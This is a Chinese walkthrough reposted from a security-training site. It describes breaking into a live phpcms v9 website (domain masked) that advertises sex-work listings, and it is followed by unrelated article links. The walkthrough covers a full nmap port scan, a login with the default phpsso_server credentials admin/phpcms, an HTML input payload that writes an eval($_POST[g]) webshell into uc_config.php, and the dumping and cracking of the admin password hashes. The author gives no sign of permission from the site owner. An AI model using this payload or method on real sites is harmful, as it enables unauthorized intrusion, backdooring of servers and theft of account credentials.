本文来源于i春秋学院,未经允许严禁转载

phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析,其采用了phpcms系统,经过测试成功获取webshell。

1.1扫描及分析端口信息

使用“nmap -p 1-65535 -T4 -A -v www.****.info”命令对该网站进行全端口扫描,获取端口信息如图1
所示,扫描结束后发现网站对外开放了21、22、80、3306以及8888端口,感觉能利用的也就是21、80、3306和8888端口。
图1端口开放情况

1.2网站cms识别
通过http://www.****.info/robots.txt获取其文件内容:

User-agent: *

Disallow: /caches/

Disallow: /phpcms/

Disallow: /install/

Disallow: /api/

Disallow: /admin.php/

Disallow: /errpage/

Disallow: /uploadfile/

Disallow: /wp-crons.php/

Disallow: /statics/

Disallow: /plugin.php/

Disallow: /jiekou.php/

Disallow: /wp-crons.php/

Disallow: /phpmyadmin_sjsby8239yh2w9/

Disallow: /360safe/ 

Disallow: /404/

Disallow: /404.htm

Sitemap: /sitemap.html

Sitemap: /sitemap.xml

在实际试过程中如果没有robots.txt文件,则可以通过查看源代码,查看代码文件中的关键字等信息来确认,还可以使用linux的cms识别工具进行检查。

1.3可利用信息分析和测试
经过分析,该网站为phpcms的可能性最高,就以上信息,可以利用的有:
(1)“/phpmyadmin_sjsby8239yh2w9”可能为phpmyadmin管理地址,经过核实不存在该路径。
(2)admin.php为后台管理地址,经核实http://www.****.info/admin.php无法访问,如图2所示,提示页面没有找到。后续对http://www.****.info/jiekou.php、http://www.****.info/phpcms/、http://www.****.info/caches/进行访问,未发现明显可以利用的信息。

图2页面无法访问

1.4端口信息测试
(1)8888端口访问后,获取后台http://www.****.info:8888/index.php?m=Public&a=login,如图3所示,该平台为LuManager,通过该平台可以管理ftp、mysql数据库等,该平台2.0.99版本还存在SQL注入漏洞以及后台密码绕过漏洞,其url地址为:
(2)80端口对应主站域名。

图3LuManager管理后台

1.5phpsso_server后台管理
直接打开phpsso_server后台管理地址,如图4所示,可以使用默认admin/phpcms进行登录,在本例中顺利登录其后台地址,如图5所示,在该后台首页中可以获取phpcms的版本信息,服务器环境信息,会员总数等。

图4获取phpsso_server后台

图5成功登录后台

1.6获取webshell尝试

1.查看Ucenter配置
在后台管理中单击“系统设置”-“Ucenter配置”,如图6所示,该界面是用来对接Ucerter接口,在Ucenter api地址中存在漏洞。

图6Ucenter配置

2.定位关键字
使用Google浏览器Chrome,使用F12功能键,在dock位置中选择上下,然后在源代码中使用“Ctrl+F”快捷键进行关键字“api”搜索,如图7所示,找到id为uc_api的那一栏。

图7定位uc_api

3.修改关键字
选中后,在Google弹出的菜单中选择编辑html,使用代码进行替换:

<input type="text" class="input-text" name="data[uc_api','test');'\]" id="uc_api" value=";eval($_POST[g]);//" size="50">


图8修改参数值

4.获取webshell
选择“提交”并“更新缓存”即可获取shell,shell一句话后门密码为g,shell地址为:
http://127.0.0.1 /phpsso_server/caches/configs/uc_config.php,如图9所示,成功获取webshell。

图9获取webshell

1.7后续数据分析

1.获取管理员密码
通过查看该数据库xinxi_admin表,获取管理员相关信息,如图10所示,username、password、encrypt以及email信息。

图10获取管理员密码

2.破解管理员密码
phpcms 密码是采用md5加盐,在http://www.cmd5.com/网站中选择加密算法:md5(md5($pass).$salt);Vbulletin;IceBB;dz即可进行破解。如图11所示,如果查询到这会提示进行购买。phpcms会员密码也是采用同样算法,其表为xinxi_member、xinxi_sso_members。

图11破解phpcms管理员密码

1.8总结
如果知道phpcms的sso管理员密码,则可以通过该方法来获取管理员密码。

利用phpcms后台漏洞渗透某色情网站的更多相关文章

  1. 利用docker 最新漏洞渗透--提取root 权限

    一.事出 近期乌云漏洞平台等科技新闻,爆出Docker虚拟化 端口漏洞,本着热爱开源,实践动手的精神,我也去尝试了下,漏洞严重性确实很高,可以拿到root 登陆账户. 二.还原 2.1 通过扫描,我们 ...

  2. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  3. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  4. MetInfo最新网站漏洞如何修复以及网站安全防护

    metinfo漏洞于2018年10月20号被爆出存在sql注入漏洞,可以直接拿到网站管理员的权限,网站漏洞影响范围较广,包括目前最新的metinfo版本都会受到该漏洞的攻击,该metinfo漏洞产生的 ...

  5. PHPCMS后台密码忘记解决办法

    什么是PHPCMS? PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各 ...

  6. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  7. phpcms后台部分修改

    1.后台登陆前提示信息取消及成功后提示信息取消.    (1)后台登陆前提示信息取消               phpcms\modules\admin\classes\admin.class.ph ...

  8. 利用PHPCMS V9站群功能建立分站

    hosts文件就在C:\Windows\system32\drivers\etc\hosts下 用一套CMS软件系统,做多个网站,统一管理,用户可以互通,这就是所谓的站群功能.这对于运营和维护都能节省 ...

  9. phpcms后台栏目权限修改无效的原因和解决方法

    现象:在phpcms后台中,新建角色,然后修改角色对应栏目权限,结果一直只能选择一半数量的栏目.剩下的栏目怎么修改都不生效. 对比: step1:再另一个phpcms后台做同样操作,依旧是这个结果.跟 ...

随机推荐

  1. Spring中AOP主要用来做什么。Spring注入bean的方式。什么是IOC,什么是依赖注入

    Spring中主要用到的设计模式有工厂模式和代理模式. IOC:Inversion of Control控制反转,也叫依赖注入,通过 sessionfactory 去注入实例:IOC就是一个生产和管理 ...

  2. pynlpir 报错 Cannot Save user dictionary 原因与解决方法

    在使用pynlpir和用户自定义词典进行分词时,如果报出如下错误: [2017-12-09 18:05:51] Cannot Save user dictionary Cannot write log ...

  3. servlet 最大线程数探索笔记

    servlet默认是单例模式的,所以是单例多线程的.如果实现了singleservlet是可以多个servlet实例,下面是一个servlet的请求生命周期 1 客户端请求该 Servlet:加载 S ...

  4. DJango 基础 (1)

    django基础 知识点: 基本认知 工具准备 新建项目 目录及文件说明 开发服务器 创建视图函数 新建应用(app) 1.基本认知 Django是用Python开发的一个免费开源的Web框架,可以用 ...

  5. matplotlib 坑

    1 archlinux里安装好matplotlib之后一定要安装python-cario pacman -S python-cairo

  6. oracle数据库分页总结

    /* BEGIN CREATE TABLE APPUSER(IDS NUMBER(8), USERNAME VARCHAR2(20), PASSWORD VARCHAR2(20), CTIME DAT ...

  7. poj2115(扩展欧基里德定理)

    题目链接:https://vjudge.net/problem/POJ-2115 题意:模拟for循环for(int i=A;i!=B;i+=C),且数据范围为k位无符号数以内,即0~1<< ...

  8. Python+Selenium学习--自动化测试模型

    前言 一个自动化测试框架就是一个集成体系,在这一体系中包含测试功能的函数库.测试数据源.测试对象识别标准,以及种可重用的模块.自动化测试框架在发展的过程中经历了几个阶段,模块驱动测试.数据驱动测试.对 ...

  9. 42 【docker】run命令

    最常用的两个option是,网络端口映射,和文件共享 最基本的启动命令(从image创建一个container并启动):docker run -d <image-name> -d:表示守护 ...

  10. chrom中 background 调用pop.js

    //监听快捷键 chrome.commands.onCommand.addListener(function(command) { if (command == "cleanKey" ...